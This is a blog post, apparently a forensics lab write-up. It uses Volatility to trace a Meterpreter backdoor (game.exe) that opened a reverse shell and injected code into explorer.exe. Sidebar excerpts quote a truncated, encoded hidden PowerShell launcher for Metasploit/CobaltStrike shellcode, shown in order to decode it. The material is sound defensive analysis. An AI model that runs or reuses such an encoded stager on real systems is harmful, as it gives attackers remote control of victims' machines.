Skip to main content

Memory dump analysis of Donny's System

Introduction 

 This post solves the mystery of Donny's System  and outlines how to utilize memory forensics methodology to uncover artifacts from memory dumps

Tools: Volatility, Yara  & Windows Powershell

Analysis

 Six-step investigative methodology by SANS

  1. Identify rogue processes 
  2. Analyze process DLLs and handles  
  3. Review network artifacts 
  4. Look for evidence of code injection 
  5. Check for signs of rootkit
  6. Dump suspicious processes and drivers 
Run volatility imageinfo plugin  to identify profile 
PS C:\volatility> .\vol.exe -f .\unknown.vmem imageinfo

Run Volatility pslist plugin to see active running processes
PS C:\volatility> .\vol.exe -f .\unknown.vmem --profile=WinXPSP3x86 pslist
Just to remind that all process creation and termination timings are specified in UTC. Ensure to change them to system timezone while correlating the events with other sources of evidence
game.exe clearly looks suspicious as it ran and exit in a short span of time. The most interesting part was explorer.exe spawned number of system commands.
Observe the creation time of processes followed by game.exe process
PS C:\volatility> .\vol.exe -f .\unknown.vmem --profile=WinXPSP3x86 pslist | Select-String '1716'

Run Volatility dlllist plugin to identify the path from where it was executed  and dlls loaded by game.exe,  but the process was terminated and unable to read PEB
PS C:\volatility> .\vol.exe -f .\unknown.vmem --profile=WinXPSP3x86 dlllist -p 1044
Run Volatility connections plugin to identify any active connections
PS C:\volatility> .\vol.exe -f .\unknown.vmem --profile=WinXPSP3x86 connections
Suspicious game.exe PID 1044 established an active connection with remote host 192.168.78.128 on port 4444. A quick search for port 4444 on google indicates that port 4444 deals with metasploit framework   ( Assuming the analyst doesn't have knowledge of metasploit)

It's been understood that meterpreter reverse shell uses port 4444 as by default for any incoming connections
To Confirm that game.exe process is a backdoor (created by msfvenom)which established connection back to the attacker's host, Run Volatility malfind Plugin to identify any sort of code injection.
Meterpreter uses Reflective DLL injection mechanism to inject DLL into legitimate victim process.
PS C:\volatility> .\vol.exe -f .\unknown.vmem --profile=WinXPSP3x86 malfind
The legitimate explorer.exe PID 1716 process was injected  with an executable DLL, observe the PAGE_ EXECUTE_READWRITE permissions, VADS represents that there is no memory mapped file before at address space 0x3600000

Run Volatility malfind again to dump all memory injected regions.
PS C:\volatility> .\vol.exe -f .\unknown.vmem --profile=WinXPSP3x86 malfind -D .\malfind\
Upload those malfind dumped files to Virustotal for a quick analysis
It's clear that meterpreter stage was injected into explorer.exe and any command performed through meterpreter session was disguised as legitimate explorer.exe process
Meanwhile running  a quick yara rule identified the memory dump as an opened meterpreter reverse shell to attacker's system
Run strings.exe on malfind dumped files to find meterpreter metsrv.dll stage 1 and meterpreter extension dlls stdapi and priv
Look for meterpreter extension DLL priv 

  Recommended to read about stage and stageless meterpreter payloads

Run Volatility userassist to find the executable which were run by Donny last time
PS C:\volatility> .\vol.exe -f .\unknown.vmem --profile=WinXPSP3x86 userassist | Select-String 'game.exe' -Context 1,3

Note: Process creation time is in UTC 

Comments

Post a Comment

Popular posts from this blog

Memory Analysis of WannaCry Ransomware

Introduction  This post explains the memory dump analysis of WannaCry infected system using volatility (An open source memory forensics framework) and other open source tools. It doesn't cover the analysis of initial infection vector, propagation and recovery of infected system. The objective is to leverage memory forensic analysis to uncover and extract Indicators of Compromise (IoC)  WannaCry  WannaCry (or WannaCrypt, WanaCrypt0r 2.0, Wanna Decryptor) is a ransomware program targeting the Microsoft Windows operating system. On Friday, 12 May 2017, a large cyber-attack using it was launched, infecting more than 230,000 computers in 150 countries, demanding ransom payments in the cryptocurrency bitcoin in 28 languages.The attack has been described by Europol as unprecedented in scale. https://en.wikipedia.org/wiki/WannaCry_ransomware_attack Discalimer You are dealing with real malware samples Don’t expose them to internal networks or internet Analyze them in a controlle
60 comments
Read more

Malicious office doc with process hollowing shellcode

Introduction  This post covers how to identify and extract shellcode manually from hancitor phishing office document. Refer  Part-1  and  Part-2  to get an understanding of  tools and approach to analyse phishing documents.  Tools  Didier Stevens Suite    sudo pip install oletools  Analysis   SHA256:  5d077b1341a6472f02aac89488976d4395a91ae4f23657b0344da74f4a560c8d   This sample contains encoded shellcode that starts a new (suspended) explorer.exe process, injects its own code (an embedded, encoded exe) and executes it.  This maldoc leverages  VBA macros  to execute its payload  and t he encoded shellcode is a property in stream 17.  T he shellcode uses WIN32 API functions like CreateProcess, ZwUnmapViewOfSection, GetThreadContext, ResumeThread etc. to inject code into the newly created process (explorer.exe) and execute it. This method is called process hollowing or process replacement.The explorer.exe process is created in a suspended state, the code for explore
1 comment
Read more

Decoding Metasploit and CobaltStrike shells

Introduction This post is about how to decode one type of shellcode generated by Metasploit framework and CobaltStrike to get the C2 domain/IP address so that the incident responder can able to identify and block the further adversary activity. FYI this post doesn't cover the initial infection vector (like phishing thorough office maldoc) or how the shellcode will get generated (like from Metasploit framework or Cobaltstrike ). It leverages CyberChef to fully decode and get the shellcode from an encoded powershell command and further it will be fed into scdbg  emulator to get the IP address of C2 or an adversary ShellCode Here we have the encoded powershell command  powershell.exe -nop -w hidden -e aQBmACgAWwBJAG4AdABQAHQAcgBdADoAOgBTAGkAegBlACAALQBlAHEAIAA0ACkAewAkAGIAPQAnAHAAbwB3AGUAcgBzAGgAZQBsAGwALgBlAHgAZQAnAH0AZQBsAHMAZQB7ACQAYgA9ACQAZQBuAHYAOgB3AGkAbgBkAGkAcgArACcAXABzAHkAcwB3AG8AdwA2ADQAXABXAGkAbgBkAG8AdwBzAFAAbwB3AGUAcgBTAGgAZQBsAGwAXAB2ADEALgAwAFwAcABvAHcAZQByAH
1 comment
Read more